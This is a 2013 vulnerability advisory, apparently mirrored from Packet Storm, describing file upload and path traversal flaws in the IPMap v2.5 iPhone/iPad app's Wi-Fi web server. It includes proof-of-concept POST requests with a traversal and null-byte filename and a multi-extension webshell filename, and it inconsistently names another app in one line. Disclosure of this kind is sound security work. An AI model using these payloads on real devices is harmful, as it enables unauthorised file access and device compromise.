IPMap 2.5 Shell Upload

2013-02-23T00:00:00
ID PACKETSTORM:120519
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2013-02-23T00:00:00

Description

                                        
                                            `Title:  
======  
IPMap v2.5 iPad iPhone - Arbitrary File Upload Web Vulnerabilities  
  
  
Date:  
=====  
2013-02-18  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=866  
  
  
VL-ID:  
=====  
866  
  
  
Common Vulnerability Scoring System:  
====================================  
6.3  
  
  
Introduction:  
=============  
IPMap - IP Address Lookup Details & HTTP Wireless File Sharing with latest WorldWide IP database & FREE Monthly update.   
Accuracy: Over 99.8% on a country level and 83% on a city level for the US within a 25 mile radius.   
  
Features:  
Auto Detect & Lookup  
Your Real IP address  
IP address Hostname  
IP address Country Code  
... ... ...  
IP address Area Code  
IP location Map  
HTTP Wireless File Sharing  
iTunes File Sync  
Web Upload File Support  
Customizable Background from your Photos Album  
  
(Copy of the Homepage: https://itunes.apple.com/us/app/ipmap-ip-address-lookup-details/id416041538 )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile IPMap v2.5 app for the apple ipad & iphone.  
  
  
Report-Timeline:  
================  
2013-02-18: Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Apple AppStore  
Product: IPMap - iPad iPhone 2.5  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile IPMap v2.5 app   
for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to   
request unauthorized local webserver files.  
  
1.1  
The main vulnerbility is located in the upload file script of the webserver (http://192.168.0.10:6123/) when processing to load a manipulated   
filename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listing  
of the wifi web application web-server.  
  
1.2  
Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing to   
upload (submit) via POST request method. The attacker uploads a file with a double extension or multiple extensions and access the file in the   
secound step via directory webserver dir listing to compromise the apple iphone or ipad.  
  
Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account.  
Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via file   
include or unauthorized file (webshell) upload attacks.  
  
  
Vulnerable Application(s):  
[+] WiFilet v1.2 - ITunes or AppStore (Apple)  
  
Vulnerable Module(s):  
[+] File Upload via Submit (Web Server) [Remote]  
  
Vulnerable Parameter(s):  
[+] file > filename  
  
Affected Module(s):  
[+] File Dir Index - Listing  
  
  
Proof of Concept:  
=================  
Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction.  
For demonstration or reproduce ...  
  
1.1  
PoC: (POST)  
-----------------------------307341202725627  
Content-Disposition: form-data; name="file"; filename="../../../../cmd>home>tmp%00<'.png"  
Content-Type: image/png  
ÿØÿà  
  
  
Review: File Dir Listing  
  
<html><head>  
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>IPMap</title>  
<style>body { background-color:#f0f7fd; font-family:Tahoma,Arial,Helvetica,sans-serif;   
font-size:18x; padding:15px; margin-left:15%; margin-right:15%; } </style></head><body>  
<h2 style="background-color:#6897ff; margin:0; color:#fff; padding:5px 10px; border: 1px outset #aaa;border-bottom: 0px;">IPMap</h2>  
<h4 style="background-color:#6897ff;margin:0; color:#fff; padding:0px 10px 8px 10px; border: 1px outset #aaa; border-top: 0px;">  
The following files are hosted live from the iPhone's Docs folder.</h4><p><table style="text-align:center; border-color:#9bc0d2;   
background:#f0f7fd; color:#4e697a; margin:0 auto;" border="1" cellpadding="0" cellspacing="0"><tbody><tr height="30"><td width="400">  
<strong>File Name</strong></td><td width="400"><strong>File Info</strong></td></tr><tr height="30">  
<td><a href="http://192.168.0.10:6123/../../../../cmd>home>tmp%00<'">%20%20%20%20&"><iframe src="../../../../cmd>home>tmp%00<'">%20%20%20%20&">  
%20%20%20%20</a></td><td>(27.3 Kb, 2013-02-07 07:00:31 +0000)</td></tr></table></p><form action=""   
method="post" enctype="multipart/form-data" name="form1"   
id="form1"><table border="0" cellpadding="0" cellspacing="0"   
style="text-align:center; margin:0 auto;"><tr   
height="50"><td width="400"><label>upload file<input   
type="file" name="file" id="file" /></label></td><td   
width="400"><label><input type="submit" name="button"   
id="button" value="Submit" /> <font size="-1">* Please do NOT   
upload index.htm or   
index.html</font></label></td></tr></table></form></body></html>  
</iframe></a></td></tr></tbody></table></p></body></html>  
  
  
1.2  
PoC: (POST)  
-----------------------------307341202725627  
Content-Disposition: form-data; name="file"; filename="pentest.php.js.html.htm.xml.png"  
Content-Type: image/gif  
  
  
Reference(s):  
http://192.168.0.10:6123/  
  
  
Risk:  
=====  
The security risk of the arbitrary file upload web vulnerability via POST request method is estimated as critical.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)  
  
  
Disclaimer:  
===========  
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`